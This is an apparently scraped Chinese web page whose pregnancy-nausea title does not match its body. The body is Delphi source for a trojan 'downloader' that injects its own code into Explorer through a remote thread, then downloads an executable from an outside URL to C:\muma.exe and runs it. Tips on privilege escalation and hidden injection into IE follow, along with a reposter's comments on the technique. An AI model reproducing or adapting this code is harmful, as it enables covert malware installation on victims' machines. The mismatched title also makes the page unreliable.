怀孕初期想吐怎么办:远程线程下载者(插入Explorer)

来源:百度文库 编辑:中财网 时间:2024/04/30 03:44:17
远程线程下载者(插入Explorer)
这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。
program InjectTheSelf;
{$IMAGEBASE $13140000}
uses Windows, Urlmon;
procedure Download; //下载过程beginURLDownloadToFile(nil, 'http://www.huolong.org/test.exe;, 'C:\muma.exe', 0, nil);WinExec('C:\muma.exe', SW_SHOW); //SW_SHOW or SW_HIDEend;
varhModule, hModule_News: Pointer;Extent, Size, ThreadId: longword;ProcessHandle, Pid: longword;
beginGetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程
hModule := Pointer(GetModuleHandle(nil));//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度
Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;//得到内存映像的长度
VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);//在Exp进程的内存范围内分配一个足够长度的内存
hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置
WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);//确定上面各项数据后,这里开始进行操作
CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);//建立远程线程,至此注入过程完成
CloseHandle(ProcessHandle);//关闭对像end.
需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码。但其还是有很多BUG的。如果你想写属于自己的下载者,请注意解决下面几个问题:
1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。2、Windows和一些应用程序对某些进程做了保护,不允许进程进行越权操作。如Svchost、QQ等进程的注入,必须先进行提权操作。3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程,将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。
--------------------------
这个是转的,其实插入IE(或者其他新建立的进程)不用这么麻烦,直接用createprocess运行IE后就可以直接返回句柄(如果要隐藏运行也不难,其中一个参数搞好了就可以了,认真看看它的原型就知道了)
主要还是看看它远程线程实现方法有价值,呵呵
不过说实话我很想知道它怎么计算大小copy函数的,看了半天一直分离不出来(我想copy任意函数,Madshi的copyfunction好像有问题,不能copystring,不知这个怎么实现的),有人看懂了告诉我一声,十分感谢